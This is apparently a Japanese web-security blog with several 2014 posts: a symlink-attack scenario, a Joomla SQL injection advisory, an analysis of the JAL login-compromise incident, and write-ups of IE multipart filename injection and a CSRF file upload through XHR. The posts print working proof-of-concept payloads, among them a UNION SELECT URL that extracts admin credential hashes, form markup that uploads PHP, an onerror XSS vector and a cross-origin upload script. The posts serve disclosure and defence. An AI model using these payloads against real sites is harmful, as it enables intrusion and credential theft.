2014年2月25日火曜日

マイナビのセミナーにて講演します

マイナビ主催のセミナー「2014年版! 標的型攻撃対策セミナー~最近の事件から学ぶ、攻撃手口と運用留意点~」で、辻伸弘さんと共に講演します。

日時:2014年2月28日(金)13:30~16:30(徳丸の出番は15:50~16:30)
場所:マイナビルーム2F-T(東京都千代田区)
費用:無料(申し込みはこちら
講演タイトル:加害者にならないためのWebサイト保護施策~最新の動向を踏まえて~

講演の中ではWebサイトが「加害者」になるシナリオを3種類ほどデモする予定です。
Webサイトが外部から攻撃を受けて、自サイトが「被害者」になるだけでなく、他社への「加害者」になってしまうシナリオは多数ありますが、最近の動向を踏まえて、某大手レンタルサーバー事業者で発生したと推測されているシンボリックリンク攻撃のデモをする予定です。但し、詳細のシナリオは公表されていないため、徳丸の創作によるものです。

シナリオをこっそりお教えしましょうw
  • 某レンタルサーバーにタナカとスズキがサイトを構築している
  • スズキは人気サイトであり攻撃者が狙っているが、こちらは外部から侵入できる脆弱性はない
  • スズキの方はWordPressを利用している
  • タナカの方では古いphpMyAdminを使っていて、外部から任意のスクリプトが実行できる
  • 攻撃者はタナカ側に攻撃をしかけ、スズキサイト側にシンボリックリンクを貼る
  • 攻撃者は上記シンボリックリンクを閲覧して、スズキのWordPress設定ファイルからMySQLのIDとパスワードを得る
  • 攻撃者はタナカのphpMyAdminに対して、スズキ側のMySQLのIDとパスワードを使ってログインする
  • 攻撃者はphpMyAdminを操作して、スズキ側コンテンツを書き換える
  • これ以降、スズキ側コンテンツを閲覧した利用者はマルウェアに感染する
うーん、ややこしい手順なので、理解しやすい説明を工夫しなければ…上記の「タナカ」は外部からの侵入を許した結果、自サイトは直接の被害がなく、スズキ側への攻撃に荷担してしまったため「加害者」になったという想定です。

それでは、よろしくお願いいたします。

2014年2月8日土曜日

【速報】Joomla3.2.2以前にSQLインジェクション脆弱性

Joomlaの最新版(3.2.2)にSQLインジェクション脆弱性が報告されていますので速報します。

概要

Joomla3.2.1のSQLインジェクション脆弱性がexploit-dbに報告されました。こちらで追試した結果、Joomlaの最新版である3.2.2にも同じ問題があります。再現条件は下記の通りです。
  • Joomla 3.2.1 および 3.2.2 (他のバージョンでは検査していません)
  • サンプルデータとして「テスト英語(GB)」を導入していること
  • データベース MySQL(他のデータベースでは検査していません)
この条件で http://examle.jp/joomla/index.php/weblinks-categories?id=\ にアクセスすると、下記の表示になります。


これは 500 Internal Errorのエラー画面ですが、画面最下部に以下のエラーメッセージが表示されています。
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `xxxxx_tags` AS t INNER JOIN `xxxxx_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) 
SQLの詳細エラーメッセージが表示されており、IN句の中身が、外部から指定した「\」がそのまま入っています。この段階で、SQLインジェクション脆弱性があることが分かります。
http://example.jp/joomla/index.php/weblinks-categories?id=0)union+select+concat(username,password)+from+xxxxx_users+%23


上図の赤い囲みに「admin$P$DVZwwcGTspL434pDfmJOOUPZU8Dtf7/」と表示されていますが、これは管理者のIDとパスワードハッシュ値を連結したものです。

影響を受けるサイト

再現条件はまだはっきりしていません。前述のように、以下の両方を満たす場合に脆弱性が発現することを確認しています。
  • Joomla 3.2.1 および 3.2.2
  • サンプルデータとして「テスト英語(GB)」を導入していること
念のため、他のサンプルデータを全て試してみましたが、上記の形ではSQLインジェクション攻撃はできませんでした。
また、Joomla2.5.18では上記は再現していません。

対応

本稿執筆時点でのJoomla最新版3.2.2に脆弱性があるため、脆弱性が該当する場合は回避策を検討してください。回避策としては、以下が考えられます。
  • Joomlaの対応版が導入できるまでサイトを停止する
  • Web Application Firewall(WAF)を導入する
  • index.php/weblinks-categories へのアクセスを禁止する(可能な場合)
  • 詳細エラーメッセージの表示を抑止する
  • Joomla2.5.18にダウングレードする
このうち、詳細メッセージの抑止方法については、以下の方法があります。現在選択中のテンプレートのディレクトリ中のerror.phpを編集します。上記の例では、templates/protostar/error.phpです。ここで、$this->error->getMessage() を表示している箇所(複数)を削除するかコメントアウトすると、エラーメッセージから機密情報が漏えいすることを防止できます。
ただし、他の方法で攻撃は可能です。たとえば、MySQLのsleep()関数を用いたブラインドSQLの可能性があります。
今後のこの脆弱性に関する情報が公表されると予想されるため、Joomla利用者はセキュリティ情報に注意することをお勧めします。

追記(2014/3/9)

Joomla 3.2.3がリリースされました。確認したところ、上記のSQLインジェクションがこのバージョンで修正されています。Joomlaをお使いの方は、3.2.3へのバージョンアップをお勧めします。
Joomlaの管理コンソールにログインすると、下記のボタンが表示されるはずです。


ここで、「Update now」というボタンをクリックすると、アップデートが開始されます。

免責

このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果について徳丸浩およびHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものとします。

PR

HASHコンサルティング株式会社では、Webサイトを安全に守るためのセキュリティサービスを提供しています。WAF(Web Application Firewall)による効果的な脆弱性対策(SQLインジェクションを含む)や、リスクの評価、対策方法の策定、セキュリティの教育などを提供します。詳しくはお気軽にお問い合わせ下さい



2014年2月6日木曜日

JALの不正ログイン事件について徳丸さんに聞いてみた

高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、JALの不正ログイン事件についてお話を伺います。徳丸さん、よろしくお願いします。

徳丸: 徳丸です。よろしくお願いします。

高橋: まず、事件の概要を説明します。日本航空のホームページに不正アクセスがあり、JALマイレージバンク(JMB)のマイルが、Amazonのギフト券に勝手に交換される被害がありました。日本航空の発表では、1月31日から2月2日にかけて、身に覚えがないマイル交換がされているという問い合わせが複数ありました。調査の結果、40人の利用者のマイルがアマゾンのギフト券、数百万円相当と交換されていたというものです。

徳丸: ここで問題となるのは、パスワードは数字6桁ということなんですよね。

高橋: やはりそこですか。パスワードが数字6桁だとどのような攻撃ができるのでしょうか?


ブルートフォース攻撃

徳丸: まず、ブルートフォース攻撃の可能性がありますね。下図のように、ユーザIDを適当に固定して、パスワードの全てのパータンを試す攻撃のことです。

高橋: ちょっと待ってください。前回のお話では、オンラインのブルートフォース攻撃は現実的ではないとのことでしたが。

徳丸: それは、パスワードの桁数が十分な場合のことです。数字6桁のパスワードだと、オンライン・ブルートフォース攻撃が現実の脅威となります。

高橋: なぜでしょうか?

徳丸: 数字6桁のパスワード場合、パスワードのパターン数は100万通りですよね。

高橋: 結構大きな数字にも思えますが。

徳丸: そうでもないのです。1時間は3600秒ですから、1秒あたり10個のパスワードを試したとすると、1時間では36,000通り試せます。100万個のパスワードの試行には28時間弱で終わる計算です。

高橋: 一日ちょっとですか。確かに現実性がありますね。そうなると、今回の事件はブルートフォース攻撃なのでしょうか。

徳丸: いえ、それは違います。

高橋: あれれ、違いますか。

徳丸: はい。JALのログイン機能にはアカウントロックの機能があります。パスワードの間違いが一定回数続くと、アカウントがロックされ、パスワードを試すことができなくなります。

高橋: 一定回数とは何回くらいでしょうか。

徳丸: 数字6桁のパスワードだと5回くらいではないですかね。

高橋: ブルートフォース攻撃が駄目となると、どのような方法がありますか?


辞書攻撃

徳丸: 次に検討すべきは辞書攻撃ですね。パスワードを総当たりに試すのではなく、利用者がつけそうなパスワードの一覧(辞書)を用いて攻撃します(下図)。

高橋: でも、アカウントロックに引っかかりませんか?

徳丸: そうなんです。アカウントロックの閾値が5回のパスワード間違いだとすると、辞書攻撃に使う辞書には4種類のパスワードしか載せられません。

高橋: では、辞書攻撃ではない?

徳丸: いや、そうでもないのですが、いったん次の攻撃方法を説明しましょう。

高橋: はい、お願いします。


リバースブルートフォース攻撃

徳丸: 次に考えられるのは、リバースブルートフォースアタック(攻撃)です。

高橋: なんだかプロレスの必殺ワザみたいな名前ですね。

徳丸: これは、パスワードを適当に固定して、ユーザIDの方を変えながらログインできるか試す方法です(下図)。

高橋: 数字6桁というと、例の「123456」とかですか?

徳丸: よく知っていますね。123456は各種のパスワード統計でもっとも人気のあるパスワードですが、JALの場合は違います。

高橋: なぜでしょうか?

徳丸: 禁止されているからですよ。こちらをご覧下さい。

高橋: あーー、そうすると、123123くらいですか。

徳丸: いい線ですね。そうしておいて、ユーザID(お得意様番号)の方を変えていきます。

高橋: お得意様番号は分かるのですか?

徳丸: 具体的な番号の一覧が公開されている訳ではありませんが、ある程度の規則性はあるようですね。あとは、総当たり的に試すのでしょう。

高橋: 成功確率が低いのではありませんか?

徳丸: そうでもないです。こちらの記事によると、JMBの会員数は2700万人ということですから、100万で割ると、1つのパスワードあたり平均では27人の利用者がいることになります。

高橋: 根気よく試すと、平均27人の認証が通ってしまうのですか。

徳丸: 123123のように設定率の高いパスワードだと、もっといくでしょうね。

高橋: それは困りますね。JALは対抗策を講じていなかったのでしょうか?

徳丸: 特に対策していなかった可能性が高いですね。

高橋: なぜ分かりますか?

徳丸: こちらの記事アーカイブ)によると、被害にあった利用者の被害者はすべて同一のIPアドレスからアクセスされたようです。ということは、IPアドレス毎に連続したログイン試行の監視やロックをしていなかったと思われます。

高橋: そうか! リバースブルートフォース攻撃の対策は、IPアドレス毎にログインを見張っていて大量の試行があればロックすればよいのですね。

徳丸: それが、そう単純でもないのです。

高橋: なぜでしょうか。

徳丸: 対策が完全ではないと言うことと、副作用があるということの2つの理由からです。

高橋: 完全ではないのですか?

徳丸: はい。攻撃者側がIPアドレスを変えながら攻撃する場合が多いです。GitHubに対する不正ログインの事例が典型的ですね(参考:GitHubに大規模な不正ログイン試行)。そうなると、IPアドレス単位でのロックは掛けにくいです。

高橋: 安全を見て、少ない回数でロックしてしまえば…

徳丸: そうしたいところですが、複数の利用者が同じIPアドレスを共有している可能性を考慮する必要があります。企業からのアクセスはプロキシによりIPアドレスを共有している場合が多いですし、最近はスマートフォンからの3GアクセスはNATですので、IPアドレス単位でロックすると、「道連れ」が大量に出る可能性があります。

高橋: そうなると、閾値をゆるめに設定しておかないと支障がでてきますね。

徳丸: はい。そうすると、閾値に達するまでに、被害に遭う可能性が高くて調整が難しいことと、GitHubのようにIPアドレスをこま目に変えられると対策としては不十分です。

高橋: 完全でないのと副作用というのは、これを指しているのですね。

徳丸: そうです。

高橋: でも、JALが何も対策してなかったとまでは言い切れないのでは?

徳丸: そうですね。しかし、今回の場合、攻撃元のIPアドレスが1つだったにも関わらず、利用者からの指摘で発覚しているので、監視も特にしていなかったと思われます。

高橋: JAL以外のサイトは、リバースブルートフォース攻撃は心配ないのですか?

徳丸: JAL以外のサイトでも一定の脅威ではありますが、JAL程ではありません。

高橋: なぜでしょうか?

徳丸: 利用者が安全なパスワードをつけられるからです。リバースブルートフォース攻撃はパスワードを固定するので、攻撃に使うパスワードは「ありがちなパスワード」使うと効率的です。

高橋: 例の「123456」などですね。

徳丸: そうです。123456やpasswordなど安易なパスワードを設定している利用者には脅威ですが、それは自己責任というか、自業自得の感があります。一方、JALの場合は、利用者が安全なパスワードをつけたくてもつけられないので、利用者の責任とは言えません。

高橋: その違いは大きいですね。

徳丸: そうです。


パスワードリスト攻撃

高橋: パスワードリスト攻撃についてはどうでしょうか? 最近被害が多いようですが。

徳丸: JALの場合は、パスワードリスト攻撃ではないと考えられますね。

高橋: なぜでしょうか?

徳丸: パスワードリスト攻撃は、別のサイトから漏えいしたIDとパスワードの一覧を用意して、攻撃対象のサイトで試すという方法です。ですので、IDとパスワードが一定確率で共通のものがないと、攻撃が成立しません。

高橋: あっ、そっか。

徳丸: JALの場合、IDは利用者がつけるものではなく、JALが割り当てた独自のものです。この時点でパスワードリスト攻撃の対象にはなりません。

高橋: 言い換えれば、パスワードリスト攻撃の対象は、利用者が好きなIDをつけられるか、メールアドレスをログインIDとして使用する場合、ということですね。

徳丸: そうです。加えて、JALの場合、パスワードの仕様が数字6桁ですが、多くのサイトで数字だけのパスワードはチェックで弾いています。これらの理由から、パスワードリスト攻撃ではないと考えられます。


再び辞書攻撃について

高橋: ところで、辞書攻撃については保留状態でしたが、どうなんでしょうか?

徳丸: そうでした。辞書攻撃の可能性もあると私は見ています。

高橋: 4~5回しか試せないのに攻撃が成立しますか?

徳丸: 辞書攻撃とリバースブルートフォース攻撃のハイブリッド攻撃という可能性があります。これは、先に紹介したGitHubに対する攻撃パターンです(注: 2018年以降この攻撃方式はパスワードスプレイ攻撃と呼ばれるようになりました)。

高橋: なるほど、リバースブルートフォースのようにパスワードを1つに固定しなければならないわけではないのですね。

徳丸: そうです。JALの場合は、IPアドレスが固定でしたからIPアドレスをキーに監視やロックができた可能性がありますが、IPアドレスまで変えられると、従来から取られてきた対策では防御できないのです。

高橋: 困りましたね。JALはどうすればよいでしょう?


対策

徳丸: 対策を検討する上で、パスワードに対する攻撃でどの程度の被害があり得るかを検討しましょう。

高橋: お願いします。

徳丸: アカウントロックに引っかからない前提で、1ユーザあたりパスワード4個まで試せると仮定すると、パスワードが的中してしまう確率は100万分の4です。JMBの利用者が2700万人いるので、かけ算すると、108人が被害にあう計算です。

高橋: あー、利用者数が多いことで、被害者も増えるのですか。

徳丸: そうです。しかも、パスワードをランダムに試すのではなく、人気のありそうなものにすれば、この数倍になるでしょう。

高橋: そういえば、ANAのパスワードは数字4桁だから、単純計算で1万人が被害にあう計算ですね。

徳丸: こちらの記事によると「ANAマイレージクラブ」は、2013年6月末時点で2,500万人の会員数を有している」ということなので、計算上はちょうど1万人ですね。

高橋: それは大変です。はやく対策を教えてください。

徳丸: 二要素認証を使う方法があります。ポイントの交換や個人情報の閲覧の際には、パスワード以外の情報を求める、というものです。

高橋: 具体的には何が使えますか?

徳丸: 登録したメールアドレス宛にトークン(6桁程度の乱数)を送るという方法がありますが、登録済みメールアドレスが使えるとは限らないのですよね。

高橋: 私も今回の件で、数年ぶりにJALのサイトにログインしました。そういう方だと、メールアドレスが変わっているという人も多そうです。

徳丸: ということなので、生年月日を使う方法が考えられます。

高橋: わざと嘘の生年月日を登録する人もいるそうですが…

徳丸: そうなのですが、航空会社の場合は、航空券の発券のために生年月日が必要だし、正しい情報を入れている人が多いのではないでしょうか?

高橋: でも、生年月日は秘密情報とまでは言えないですよね。

徳丸: はい。しかし、今回のような「不特定多数を狙った」攻撃には効果があります。特定ユーザを狙った攻撃など一般的な対策については、こちらの記事をご覧下さい。

高橋: わかりましたが、いちいち生年月日を入力するのも面倒ですね。

徳丸: そうでもないんじゃないですか? 自分の情報をしょっちゅう確認・変更する人はいないでしょうし、ポイントの交換もそんなにはないでしょう。

高橋: 頻繁に飛行機に乗る人は面倒だと思いますが…

徳丸: そうですね。だから、パスワードの制限を緩めて、安全なパスワードをつけられるようにすることが、総合的には安全性と利便性を両立できるのだと思います。

高橋: そもそも、なぜ数字のパスワードにこだわるのでしょうか?

徳丸: テレフォンサービスでも同じパスワードを使っているからでしょう。

高橋: あぁ、電話だと英字や記号は使えませんね。

徳丸: 電話の場合は、リバースブルートフォース攻撃などはできないので数字のままでもそれほど危険ではないでしょうしね。だから、Web用とテレフォンサービスとでは、パスワードを別にするしかないでしょう。

高橋: 利用者が2種類のパスワードを管理できないという意見もありそうですが。

徳丸: その辺が難しいところですね。ですが、数字6桁のパスワードでは一定の被害が出てしまうことは避けがたいので、Webが不要な利用者は数字のパスワードだけだがWebは使えなくするなど、きめ細かい施策を打つしかないでしょう。

高橋: そう言えば、対策に高額な費用が掛かるのであれば、対策は保留して金銭的な補償で対応するという経営判断もある、という記事を読みましたが。

徳丸: リスクの受容、あるいは俗に「サイバーノーガード戦法」と呼ばれるものですね。

高橋: 「ノーガード」はかわいそうな気もしますが…

徳丸: 金銭で片が付く問題であれば、一般論としては成立する話ですが、コンシューマー向けサービスでは、金銭補償は最後の手段として考えるべきでしょう。

高橋: なぜでしょうか?

徳丸: 不正ログインで被害にあうと、金銭的な損失もさることながら、精神的なショックが大きいですし、個人情報がいったん漏えいすると、回収は不可能です。これらは、金銭で補償できるという種類のものではありません。

高橋: 確かにそうですね。

徳丸: はい。なので、サイト運営者には、せめて常識的なラインまでは対策を行う義務があると私は考えます。

高橋: 数字6桁のパスワードは、常識的なラインを下回っている、と。

徳丸: その通りです。

高橋: ありがとうございました。これで、JALの不正ログインに関する徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう~

※注: このエントリはインタビュー仕立ての記事であり、文責はすべて徳丸にあります。高橋は架空の人物です。


追記(2014/2/11)

奥一穂さんから、「(実質的な)パスワードリスト攻撃の可能性もあるのでは?」という指摘をいただきました。レンターカーの会社などでJMBのマイレージと連動するためにJMB番号を収集している企業があり、同時に住所や生年月日を申し込みのために集めているサイトがあるので、これらの情報が仮に漏れた場合、JMB番号と、生年月日や住所、電話番号からのパスワード推測を組み合わせた攻撃の可能性です。確かに、そのよう攻撃はあり得ると考えます。
上で指摘しているのは狭義のパスワードリスト攻撃の可能性を否定するものであり、奥さんの指摘のような攻撃の可能性を否定するものではありません。ご指摘ありがとうごさいました。

2014年1月30日木曜日

IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる

昨日の日記「IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる」にて、福森大喜さんから教えていただいた内容として、ファイルアップロードのHTMLフォーム(enctype="multipart/form-data")にて、アップロードするファイル名とファイルの中身を外部から指定できることを報告しました。この際にIE8以前という条件がありましたが、今度は、三井物産セキュアディレクション望月岳さんから、「それIE9以降でもできるよ」と教えていただきました。既にご存じだったそうです。福森さん、望月さんという日本を代表するバグハンターから「秘伝のたれ」をおすそわけいただいたようで、興奮気味ですw

まず、おさらいとして、IE8以前でのパターンは下記の通りでした(要点のみ)。
<form enctype="multipart/form-data" action="pro_add_check.php" method="POST">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();?>'>
<input type="submit" value="submit" />
これによるリクエスト(要点のみ)は下記となり、ファイル名とファイルの中身が指定できていることが分かります(WindowsXP上のIE8で確認)。
-----------------------------7de2af1b3f023e
Content-Disposition: form-data; name="gazou"; filename="a.php"

<? phpinfo();?>
-----------------------------7de2af1b3f023e--
この方法はIE8まででのみ有効で、IE9以降ではname属性中のダブルクォートがパーセントエンコード(%22)されるようなりました。
これに対して、望月さんから教えていただいた方法は、textarea要素を使うものです。望月さんのご許可をいただきましたので下記に公開します。
<textarea name='gazou"; filename="phpinfo.php'>
&lt;?php
phpinfo();
?&gt;
</textarea>
これによるリクエストは下記の通りです。Windows7上のIE11で確認したところ、ファイル名とファイルの中身が指定できていることが分かります。
-----------------------------7de3811808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php
phpinfo();
?>

-----------------------------7de3811808b6--
望月さんから教えていただいたtextarea要素が使えるのであれば、select要素でもできるのではないかと考え、試してみました。環境は同じくWindows7上のIE11です。
<select name='gazou"; filename="phpinfo.php'>
<option value="<?php phpinfo(); ?>" selected>1</option>
</select>
すると、下記のリクエストとなり、select要素でもできることが分かりました。
-----------------------------7de6110808b6
Content-Disposition: form-data; name="gazou"; filename="phpinfo.php"

<?php phpinfo(); ?>
-----------------------------7de6110808b6--
さて、上記を公開して良いかについては、少し悩みました。input要素の場合のように、「IE9では改修されているが、IE8以前では放置されている、すなわち改修される見込みが薄い」というものではないと思ったからです。
しかし、望月さんからの情報によると、2008年に既に公知となっているとのことです。また、望月さんからマイクロソフトには連絡済みとのことでした。


既に公開されている情報を隠していても仕方ないので、こうして公開することにしました。上記のリンク先には、Content-Typeを指定する方法も記載されています。これは昨日のエントリで私が追記した方法と同じですね。

ということで、最新のIEであってもファイルアップロードフォームにて、外部からファイル名とファイルの中身を指定できることを紹介しました。これによる影響としては下記が考えられます。

  • CSRFにて別の利用者のブラウザ上からファイルをアップロードする
  • ファイル名のエスケープ漏れがある場合にXSSができる

どちらも、CSRFやXSSの基本的な対策をしていれば防げるものですので大きな影響はありませんが、「攻撃経路がないから大丈夫」と思って手抜きをしていると危険な状態になる可能性がありますね。それに、Unix/Linuxでは「<」や「>」等もファイル名として使える文字ですので、ファイル名のHTMLエスケープはセキュリティ抜きとしても必要な処理です。

2014年1月29日水曜日

IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる

一昨日のエントリ『書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性』にて、ファイル送信フォームに対するCSRF攻撃の文脈で、私は以下のように書きました。
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。
大半の方は、「ああ、そうだよね」という感じでお読みいただいたように思いますが、昨日サイバーディフェンス研究所福森大喜さんから、「それIE8以前ならできるよ」と教えていただきました。福森さんの許可を得て、以下にPoCを公開します。
<form enctype="multipart/form-data" action="pro_add_check.php"
method="POST">
<input name="name" value="nnnn" type="hidden">
<input name="price" value="100" type="hidden">
<input name='gazou"; filename="a.php' type="hidden" value='<? phpinfo();
?>'>
<input type="submit" value="submit" />
</form>
これで確かに、ファイル名が a.php に、ファイルの中身が下記の内容になります。
<? phpinfo();
?>
それでは、どうしてこれでファイル名とファイルの中身が指定できるのでしょうか。それを説明するために、まずは正常系のリクエストを下記に示します。
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="name"

nnnn
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="price"

100
-----------------------------7de34b38200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<? phpinfo();
?>

-----------------------------7de34b38200e8--
ここで、type=textのnameやpriceと、type=fileのgazouを比較すると、fileの方は「; filename="a.php"」とContent-Typeが追加されていることが分かります。そして、もしもname=として下記が指定できれば、filename=を注入できることになります。
gazou"; filename="a.php
そして、IE8 以前では、これができてしまうのですね。Content-Typeは追加できません(訂正: 追加する方法が分かりましたので末尾に追記します)が、PHPはContent-Typeがないフィールドでも、filenameの指定があるだけでファイルと見なすようです。
それでは、IE9以降および他のブラウザだとname=の中のダブルクォートはどうなるかですが、
  • IE9以降およびGoogle Chrome:  %22 にエスケープされる(パーセントエンコード)
  • Firefox: \" にエスケープされる
ということで、この攻撃は使えなくなっています。

このIE8以前の挙動は、マイクロソフト社はIE9以降では修正している、つまり認識しているにも関わらずIE8以前は放置していることと、元々脆弱なアプリケーションのみが影響を受けるということ理由から、Cookie Monster Bugなどと同じく「好ましくない仕様」ということになると考えます。

ということで、アプリケーション側で淡々とCSRF対策しましょう。この問題があるから新たに特別な対策をしなければならない、ということはありません。

ところで、前回は触れなかったのですが、紹介したスクリプトの下記の箇所は、ファイル名をエスケープなしでHTML出力しているので、潜在的なクロスサイト・スクリプティング脆弱性があります。
print'<img src="./gazou/'.$pro_gazou['name'].'" />';
「潜在的な」と書いたのは、通常HTMLフォームではファイル名を外部から指定する方法がないこと、XHR Level2を使ったリクエスト送信では(対象サーバーが明示的に許可していない限り)クロスオリジンでレスポンスを受け取れないし、仮にレスポンスを受け取れたとしてもブラウザに表示されるわけではないのでXSSにはならないことによります。
しかし、福森さんに教えていただいた方法だと、HTMLフォームからファイル名が送信できるので、上記の部分にてXSSが発現します。攻撃の例を下記に示します。
<input name='gazou"; filename="a.gif" onerror="alert(1)' type="hidden" value='GIF87a '>
IE8でこれを実行すると、生成されるimg要素は下記となり、onerror属性が注入されています。
<img src="./gazou/a.gif" onerror="alert(1)">
a.gifという画像はない(実際に生成されるファイル名は「a.gif" onerror="alert(1)」)ので、onerrorイベントによりalertが実行されます(下図)。


ファイル名を用いたXSSでは、PHPが内部でbasename()関数で「/」(Windows版では「\」も)以前を切り取ってしまうので、攻撃文字列には「/」や「\」が使えません。このため上記の例ではonerrorイベントを用いました。

このXSSの方にしても、表示(HTML出力)の際に、変数等を淡々とHTMLエスケープするという原則を守れば脆弱性は混入しないので、IE8以前に対して「特別な配慮」をしなければいけないわけではありません。
むしろ、「これは外部からコントロールできないはずだからエスケープしなくても大丈夫」という「特別な配慮」(手抜き)をせず、原則に従うことが重要です。この点、私の見た多くのPHP入門書では、スクリプトの先頭でまとめて入力値をhtmlspecialchars関数によりエスケープしているものが多く、XSS対策の説明という点で課題があります。

※追記
当初Content-Typeは追記できないと書きましたが、以下のinput要素を用いることで、Contet-Typeも指定できました。メールヘッダインジェクションと同じような要領ですね。
<input name='gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//' type="hidden" value=''>
これに対するHTTPリクエストは下記の通りです(該当箇所のみ)。
-----------------------------7de2fd25200e8
Content-Disposition: form-data; name="gazou"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();//"


-----------------------------7de2fd25200e8--
ということで、Content-Typeも含めて改変できることが分かりました。

2014年1月27日月曜日

書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性

書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。

はじめに

Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。
気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496 より引用
質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。
<?php
// 略
$pro_gazou=$_FILES['gazou'];
// 略
if($pro_gazou['size']>0) {
  if ($pro_gazou['size']>1000000) {
    print'画像が大き過ぎます。';
  } else {
    move_uploaded_file($pro_gazou['tmp_name'],'./gazou/'.$pro_gazou['name']);
    print'<img src="./gazou/'.$pro_gazou['name'].'" />';
    print'<br />';
  }
}
ご覧のように、ファイルサイズの確認はしているものの、ファイルの中身とファイル名については制限がありません。この結果、以下の脆弱性が生じます(代表的なもののみ)。
  • PHPスクリプトをアップロードされ、攻撃者がリモートから任意のスクリプトをWebサーバー上で実行できる
  • HTMLファイルをアップロードされ、利用者のブラウザ上で任意のJavaScriptを当該ドメイン上で実行されられる(XSSと同等の影響)
本稿では、前者のリモートスクリプト実行について説明します。

ファイルアップロードの脆弱性

同書P112の段階ではログイン機能が実装されていませんが、最終的にはこのアップロード機能は店舗スタッフとしてログインした利用者のみが実行できます。
スタッフだからリモートスクリプト実行できても大丈夫、とは言えません。店舗スタッフには商品情報のメンテナンスの権限はありますが、任意のスクリプト実行の権限まではないと考えられるからです。このため、店舗スタッフがリモートスクリプト実行ができてしまう時点で脆弱性と言えます。
しかし、現実の運用では、店舗スタッフにサーバーメンテナンスの権限もある(rootパスワードを正当に知っているなど)状況も考えられます。この場合、この脆弱性による実害はなく、運用上許容し得る場合もあるでしょう。

CSRF攻撃によるファイルアップロードの可能性

それでは、店舗スタッフ以外の人が、任意ファイルをアップロードできる可能性はないでしょうか。これができると重大な脆弱性となります。実は、店舗スタッフに対してCSRF攻撃をかけると、第三者が任意ファイルをアップロードできてしまいます。以下、その方法を説明します。

CSRF攻撃の場合、店舗スタッフとしてログイン中のブラウザから以下のリクエストを送信できることが必要です。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: multipart/form-data; boundary=--BNDRY
Content-Length: 128

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();   ※任意のPHPコード

----BNDRY--
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。

XHR Level2によるクロスドメインのファイルアップロード

しかし、XMLHttpRequest Level2(以下、XHR Level2)を使うと、POSTするデータの中身を任意に指定することができ、CSRFによるファイルアップロードが可能になります。
こう書くと、CORS(Cross-Origin Resource Sharing)による保護があるので、対象サイト側で明示的に許可しないとリクエストが送れないはずではないかという疑問が生じるかもしれません。
しかし、CORSによるクロスオリジン通信の制御は、XMLHttpRequestによって送信したリクエストに対して、HTTPレスポンスを送信元のスクリプトが受け取れるか否かに関係します。HTTPリクエストを送信するだけであれば、相手側の許可がなくてもできてしまいます。そして、CSRF攻撃は、HTTPリクエストが送信できれば攻撃可能であり、HTTPレスポンスは必要ありません。
ということで、店舗スタッフがXHR Level2対応のブラウザを使っていれば、以下のようなワナサイトを閲覧した場合、スタッフが知らないうちに、ファイルアップロードのリクエストを自分のブラウザから送信してしまうことになります。
<body>
<script>
  // 以下は送信するHTTPリクエストボディの中身
  // \n\ は改行(\n) と 継続行(行末の\)を示す
  data = '\
----BNDRY\n\
Content-Disposition: form-data; name="file"; filename="a.php"\n\
Content-Type: text/plain\n\
\n\
<?php phpinfo();\n\
\n\
----BNDRY--\n\
';

  var req = new XMLHttpRequest();
  req.open('POST', 'http://example.jp/pro_add_check.php');
  req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
  req.withCredentials = true;
  req.send(data);
</script>
</body>
上記スクリプトで、req.withCredentials = true; とあるのは、XMLHttpRequestのリクエストにクッキーを付与せよという指令です。これがないと、スタッフのログイン状態でのリクエストにならず、CSRF攻撃は成立しません。
上記JavaScriptを適当な罠に仕込んでおき、店舗スタッフがうっかり閲覧してしまうと、以下のリクエストが店舗スタッフのブラウザから送信されます。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Content-Length: 128
Origin: http://trap.example.com
Content-Type: multipart/form-data; boundary=--BNDRY
Referer: http://trap.example.com/d/csrf.html
Cookie: PHPSESSID=jl970047757cdtmi3g32hka0k7

----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain

<?php phpinfo();

----BNDRY--
このリクエストを見ると、以下のことがわかります。
  • クロスドメインで確かに攻撃リクエストが送信されている。
  • multipart/form-dataの形式のデータが送信されており、PHPスクリプトがアップロードされる
  • 認証Cookieが送信されていて、認証状態でリクエストが受け付けられる
